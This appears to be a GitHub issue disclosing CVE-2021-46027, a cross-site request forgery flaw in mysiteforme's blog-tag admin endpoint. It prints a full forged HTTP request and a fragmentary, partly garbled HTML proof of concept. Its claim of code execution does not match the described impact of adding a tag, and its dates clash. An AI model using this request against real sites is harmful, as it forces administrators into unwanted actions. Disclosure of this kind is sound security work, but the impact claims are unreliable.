Headline
CVE-2021-46027: There is a CSRF vulnerability exists in mysiteforme · Issue #40 · wangl1989/mysiteforme
mysiteforme, as of 19-12-2022, has a CSRF vulnerability in the background blog management. The attacker constructs a CSRF load. Once the administrator clicks a malicious link, a blog tag will be added
There is a CSRF vulnerability in the background blog management. The attacker constructs a CSRF load. Once the administrator clicks a malicious link, a blog tag will be added
[Vulnerability Type]
Cross-site request forgery (csrf)
[Vendor of Product]
https://github.com/wangl1989/mysiteforme
[Affected Component]
POST /admin/blogTags/add HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 23
Cache-Control: max-age=0
sec-ch-ua: “Chromium";v="91", " Not;A Brand";v="99”
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
name=%E5%8E%86%E5%8F%B2
[Attack Type]
Remote
[Impact Code execution]
true
POC:
<title>CSRF的poc</title> <script>history.pushState('’, '’, ‘/’)</script>
<input type="submit" value="Submit request" />
</form>
